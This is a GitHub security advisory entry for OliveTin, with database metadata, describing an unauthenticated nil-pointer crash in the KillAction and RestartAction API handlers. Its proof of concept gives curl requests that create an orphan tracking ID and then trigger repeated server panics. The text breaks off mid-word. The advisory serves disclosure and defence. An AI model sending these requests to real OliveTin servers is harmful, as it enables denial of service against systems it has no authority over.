mediumCVSS 5.3Vulnerability

GHSA-fwhj-785h-43hh

### Summary An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification. ### Details The issue is caused by this flow: 1. `StartActionByGet` accepts arbitrary `actionId` and still calls executor: - `service/internal/api/api.go:239` 2. Executor stores a log entry before binding validation: - `service/internal/executor/executor.go:519` 3. If binding is nil, execution stops, but the log entry remains: - `service/internal/executor/executor.go:781` 4. `KillAction` dereferences `execReqLogEntry.Binding.Action` without checking `Binding`: - `service/internal/api/api.go:79` 5. `RestartAction` has the same unsafe dereference: - `service/internal/api/api.go:1285` Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated. ### PoC Environment: - OliveTin default single frontend on `http://localhost:1337` - Reproduced on `main` (commit `235493e`) and tag `3000.11.0` 1) Create orphan tracking ID with invalid action: ```bash T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \ -H 'Content-Type: application/json' \ --data '{"actionId":"does-not-exist"}' \ | sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p') echo "$T" 2. Trigger panic in RestartAction: curl -v -X POST http://localhost:1337/api/RestartAction \ -H 'Content-Type: application/json' \ --data "{\"executionTrackingId\":\"$T\"}" 3. Trigger panic in KillAction: curl -v -X POST http://localhost:1337/api/KillAction \ -H 'Content-Type: application/json' \ --data "{\"executionTrackingId\":\"$T\"}" Observed cli

Properties

ghsa_id
GHSA-fwhj-785h-43hh
severity
medium
summary
OliveTin has crash on NPE by calling APIs with invalid bindings or log references
cvss_score
5.3
cve_id
GHSA-fwhj-785h-43hh
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
is_ghsa_only
true
ghsa_published
2026-03-05T20:54:25Z
source_url
https://github.com/advisories/GHSA-fwhj-785h-43hh
ghsa_updated
2026-03-05T20:54:26Z

Related Entities (5)

INVOLVES (1)

[EmergentSignal]

AFFECTS (1)

[Software]go/github.com/OliveTin/OliveTin

HAS_WEAKNESS (2)

[Weakness]NULL Pointer Dereference
[Weakness]Improper Input Validation

REPORTED_BY (1)

[Source]GitHub Advisory Database

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